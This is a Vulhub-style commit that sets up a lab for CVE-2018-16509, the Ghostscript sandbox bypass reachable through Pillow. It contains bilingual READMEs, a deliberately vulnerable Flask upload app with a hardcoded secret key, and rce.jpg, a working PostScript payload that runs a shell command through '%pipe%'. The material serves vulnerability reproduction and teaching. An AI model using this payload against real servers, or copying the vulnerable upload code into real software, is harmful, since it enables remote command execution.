first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
This commit is contained in:
92
python/PIL-CVE-2018-16509/README.md
Normal file
92
python/PIL-CVE-2018-16509/README.md
Normal file
@@ -0,0 +1,92 @@
|
||||
# Python PIL/Pillow Remote Command Execution (CVE-2018-16509)
|
||||
|
||||
[中文文档](README.zh-cn.md)
|
||||
|
||||
PIL/Pillow is a widely used image processing library in Python.
|
||||
|
||||
In Ghostscript versions prior to 9.24, there exists a -dSAFER sandbox bypass vulnerability (CVE-2018-16509). Incorrect "restoration of privilege" checking during handling of /invalidaccess exceptions could be used by attackers able to supply crafted PostScript to execute code using the "pipe" instruction.
|
||||
|
||||
This vulnerability affects various applications that use Ghostscript for image processing, including Python's PIL/Pillow library. When an application uses PIL/Pillow to process user-uploaded images and the environment has a vulnerable version of Ghostscript installed, it may lead to remote command execution.
|
||||
|
||||
References:
|
||||
|
||||
- [Ghostscript: -dSAFER bypass (CVE-2018-16509)](https://seclists.org/oss-sec/2018/q3/142)
|
||||
- [PIL/Pillow EPS Image Processing](https://github.com/python-pillow/Pillow/blob/0adeb82e9886cdedb3917e8ddfaf46f69556a991/src/PIL/EpsImagePlugin.py)
|
||||
- [Ghostscript Sandbox Bypass Analysis](https://paper.seebug.org/1159/)
|
||||
|
||||
## Environment Setup
|
||||
|
||||
Execute the following command to start a vulnerable Flask application (using Ghostscript 9.23):
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
After the environment is started, visit `http://your-ip:8000` to see a simple image upload page.
|
||||
|
||||
## Vulnerability Reproduction
|
||||
|
||||
Prepare a malicious EPS file (provided as `rce.jpg` in this environment) with the following content:
|
||||
|
||||
```
|
||||
%!PS-Adobe-3.0 EPSF-3.0
|
||||
%%BoundingBox: -0 -0 100 100
|
||||
|
||||
userdict /setpagedevice undef
|
||||
save
|
||||
legal
|
||||
{ null restore } stopped { pop } if
|
||||
{ legal } stopped { pop } if
|
||||
restore
|
||||
mark /OutputFile (%pipe%touch /tmp/got_rce) currentdevice putdeviceprops
|
||||
```
|
||||
|
||||
Visit `http://your-ip:8000` and upload this file.
|
||||
|
||||
After uploading, the server will process this image using PIL/Pillow, and when the `resize` function is called, it will trigger the vulnerability and execute the `touch /tmp/got_rce` command.
|
||||
|
||||
Execute the following command to verify if the vulnerability has been successfully exploited:
|
||||
|
||||
```
|
||||
docker compose exec web ls -la /tmp/
|
||||
```
|
||||
|
||||
If you see the `/tmp/got_rce` file, it means the command execution was successful.
|
||||
|
||||
## Vulnerability Analysis
|
||||
|
||||
The core of the vulnerability lies in PIL/Pillow calling the system's Ghostscript program when processing EPS images. In `EPSImagePlugin.py`, PIL uses `subprocess` to call Ghostscript:
|
||||
|
||||
```python
|
||||
command = ["gs",
|
||||
"-q", # quiet mode
|
||||
"-g%dx%d" % size, # set output geometry (pixels)
|
||||
"-r%fx%f" % res, # set input DPI (dots per inch)
|
||||
"-dBATCH", # exit after processing
|
||||
"-dNOPAUSE", # don't pause between pages
|
||||
"-dSAFER", # safe mode
|
||||
"-sDEVICE=ppmraw", # ppm driver
|
||||
"-sOutputFile=%s" % outfile, # output file
|
||||
"-c", "%d %d translate" % (-bbox[0], -bbox[1]),
|
||||
# adjust for image origin
|
||||
"-f", infile, # input file
|
||||
"-c", "showpage", # showpage
|
||||
]
|
||||
```
|
||||
|
||||
Although the `-dSAFER` parameter is used, Ghostscript versions prior to 9.24 have a sandbox bypass vulnerability that allows attackers to execute arbitrary commands through specially crafted PostScript code.
|
||||
|
||||
In the sample application, when an image is uploaded, it is processed as follows:
|
||||
|
||||
```python
|
||||
img = Image.open(img_path)
|
||||
w, h = img.size
|
||||
ratio = 256.0 / max(w, h)
|
||||
|
||||
resized_img = img.resize((int(w * ratio), int(h * ratio)))
|
||||
resized_img.save(img_path)
|
||||
```
|
||||
|
||||
Simply calling `Image.open()` will not trigger the vulnerability, but when methods that actually need to load image data, such as `resize()` or `save()`, are called, they will trigger the Ghostscript call and execute malicious commands.
|
||||
|
||||
To fix this vulnerability, you need to update Ghostscript to version 9.24 or higher, or disable EPS image processing functionality when using PIL/Pillow to process user-uploaded images.
|
90
python/PIL-CVE-2018-16509/README.zh-cn.md
Normal file
90
python/PIL-CVE-2018-16509/README.zh-cn.md
Normal file
@@ -0,0 +1,90 @@
|
||||
# Python PIL/Pillow 远程命令执行漏洞 (CVE-2018-16509)
|
||||
|
||||
[English](README.md)
|
||||
|
||||
PIL/Pillow 是 Python 中广泛使用的图像处理库。
|
||||
|
||||
在 Ghostscript 9.24 版本之前,存在一个 -dSAFER 沙盒绕过漏洞(CVE-2018-16509),攻击者可以通过构造恶意的图片文件,在图片处理过程中执行任意命令。这个漏洞影响了使用 Ghostscript 进行图像处理的多种应用,包括 Python 的 PIL/Pillow 库。当应用程序使用 PIL/Pillow 处理用户上传的图片时,若环境中安装了存在漏洞的 Ghostscript,则可能导致远程命令执行。
|
||||
|
||||
参考链接:
|
||||
|
||||
- [Ghostscript: -dSAFER bypass (CVE-2018-16509)](https://seclists.org/oss-sec/2018/q3/142)
|
||||
- [PIL/Pillow EPS Image Processing](https://github.com/python-pillow/Pillow/blob/0adeb82e9886cdedb3917e8ddfaf46f69556a991/src/PIL/EpsImagePlugin.py)
|
||||
- [Ghostscript 沙箱绕过漏洞分析](https://paper.seebug.org/1159/)
|
||||
|
||||
## 环境搭建
|
||||
|
||||
执行如下命令启动一个包含漏洞的 Flask 应用(使用 Ghostscript 9.23 版本):
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
环境启动后,访问 `http://your-ip:8000` 即可看到一个简单的图片上传页面。
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
准备一个恶意的 EPS 文件(本环境中已提供 `rce.jpg`),其内容如下:
|
||||
|
||||
```
|
||||
%!PS-Adobe-3.0 EPSF-3.0
|
||||
%%BoundingBox: -0 -0 100 100
|
||||
|
||||
userdict /setpagedevice undef
|
||||
save
|
||||
legal
|
||||
{ null restore } stopped { pop } if
|
||||
{ legal } stopped { pop } if
|
||||
restore
|
||||
mark /OutputFile (%pipe%touch /tmp/got_rce) currentdevice putdeviceprops
|
||||
```
|
||||
|
||||
访问 `http://your-ip:8000`,上传这个文件。
|
||||
|
||||
上传后,服务器会使用 PIL/Pillow 处理这个图片,在调用 `resize` 函数时会触发漏洞,执行 `touch /tmp/got_rce` 命令。
|
||||
|
||||
执行以下命令验证漏洞是否成功利用:
|
||||
|
||||
```
|
||||
docker compose exec web ls -la /tmp/
|
||||
```
|
||||
|
||||
如果看到 `/tmp/got_rce` 文件,则说明命令执行成功。
|
||||
|
||||
## 漏洞分析
|
||||
|
||||
漏洞的核心在于 PIL/Pillow 在处理 EPS 图像时会调用系统的 Ghostscript 程序。在 `EPSImagePlugin.py` 中,PIL 使用 `subprocess` 调用 Ghostscript:
|
||||
|
||||
```python
|
||||
command = ["gs",
|
||||
"-q", # quiet mode
|
||||
"-g%dx%d" % size, # set output geometry (pixels)
|
||||
"-r%fx%f" % res, # set input DPI (dots per inch)
|
||||
"-dBATCH", # exit after processing
|
||||
"-dNOPAUSE", # don't pause between pages
|
||||
"-dSAFER", # safe mode
|
||||
"-sDEVICE=ppmraw", # ppm driver
|
||||
"-sOutputFile=%s" % outfile, # output file
|
||||
"-c", "%d %d translate" % (-bbox[0], -bbox[1]),
|
||||
# adjust for image origin
|
||||
"-f", infile, # input file
|
||||
"-c", "showpage", # showpage
|
||||
]
|
||||
```
|
||||
|
||||
虽然使用了 `-dSAFER` 参数,但 Ghostscript 9.24 版本之前存在沙盒绕过漏洞,攻击者可以通过特制的 PostScript 代码执行任意命令。
|
||||
|
||||
在示例应用中,当图片上传后,会进行如下处理:
|
||||
|
||||
```python
|
||||
img = Image.open(img_path)
|
||||
w, h = img.size
|
||||
ratio = 256.0 / max(w, h)
|
||||
|
||||
resized_img = img.resize((int(w * ratio), int(h * ratio)))
|
||||
resized_img.save(img_path)
|
||||
```
|
||||
|
||||
仅调用 `Image.open()` 不会触发漏洞,但当调用 `resize()` 或 `save()` 等需要实际加载图片数据的方法时,会触发 Ghostscript 的调用,从而执行恶意命令。
|
||||
|
||||
要修复此漏洞,需要更新 Ghostscript 到 9.24 或更高版本,或者在使用 PIL/Pillow 处理用户上传的图片时,禁用 EPS 图像处理功能。
|
66
python/PIL-CVE-2018-16509/app.py
Normal file
66
python/PIL-CVE-2018-16509/app.py
Normal file
@@ -0,0 +1,66 @@
|
||||
from flask import Flask, flash, get_flashed_messages, make_response, redirect, render_template_string, request
|
||||
from os import path, unlink
|
||||
from PIL import Image
|
||||
|
||||
import tempfile
|
||||
|
||||
app = Flask(__name__)
|
||||
app.secret_key = "0123456789ABCDEF"
|
||||
|
||||
@app.route('/', methods=['GET', 'POST'])
|
||||
def upload_file():
|
||||
if request.method == 'POST':
|
||||
file = request.files.get('image', None)
|
||||
|
||||
if not file:
|
||||
flash('No image found')
|
||||
return redirect(request.url)
|
||||
|
||||
filename = file.filename
|
||||
ext = path.splitext(filename)[1]
|
||||
|
||||
if (ext not in ['.jpg', '.jpeg', '.png', '.gif', '.bmp']):
|
||||
flash('Invalid extension')
|
||||
return redirect(request.url)
|
||||
|
||||
tmp = tempfile.mktemp("test")
|
||||
img_path = "{}.{}".format(tmp, ext)
|
||||
|
||||
file.save(img_path)
|
||||
|
||||
img = Image.open(img_path)
|
||||
w, h = img.size
|
||||
ratio = 256.0 / max(w, h)
|
||||
|
||||
resized_img = img.resize((int(w * ratio), int(h * ratio)))
|
||||
resized_img.save(img_path)
|
||||
|
||||
r = make_response()
|
||||
r.data = open(img_path, "rb").read()
|
||||
r.headers['Content-Disposition'] = 'attachment; filename=resized_{}'.format(filename)
|
||||
|
||||
unlink(img_path)
|
||||
|
||||
return r
|
||||
|
||||
return render_template_string('''
|
||||
<!doctype html>
|
||||
<title>Image Resizer</title>
|
||||
<h1>Upload an Image to Resize</h1>
|
||||
{% with messages = get_flashed_messages() %}
|
||||
{% if messages %}
|
||||
<ul class=flashes>
|
||||
{% for message in messages %}
|
||||
<li>{{ message }}</li>
|
||||
{% endfor %}
|
||||
</ul>
|
||||
{% endif %}
|
||||
{% endwith %}
|
||||
<form method=post enctype=multipart/form-data>
|
||||
<p><input type=file name=image>
|
||||
<input type=submit value=Upload>
|
||||
</form>
|
||||
''')
|
||||
|
||||
if __name__ == '__main__':
|
||||
app.run(threaded=True, port=8000, host="0.0.0.0")
|
9
python/PIL-CVE-2018-16509/docker-compose.yml
Normal file
9
python/PIL-CVE-2018-16509/docker-compose.yml
Normal file
@@ -0,0 +1,9 @@
|
||||
version: '2'
|
||||
services:
|
||||
web:
|
||||
image: vulhub/ghostscript:9.23-with-flask
|
||||
command: python app.py
|
||||
volumes:
|
||||
- ./app.py:/usr/src/app.py
|
||||
ports:
|
||||
- "8000:8000"
|
10
python/PIL-CVE-2018-16509/rce.jpg
Normal file
10
python/PIL-CVE-2018-16509/rce.jpg
Normal file
@@ -0,0 +1,10 @@
|
||||
%!PS-Adobe-3.0 EPSF-3.0
|
||||
%%BoundingBox: -0 -0 100 100
|
||||
|
||||
userdict /setpagedevice undef
|
||||
save
|
||||
legal
|
||||
{ null restore } stopped { pop } if
|
||||
{ legal } stopped { pop } if
|
||||
restore
|
||||
mark /OutputFile (%pipe%touch /tmp/got_rce) currentdevice putdeviceprops
|
Reference in New Issue
Block a user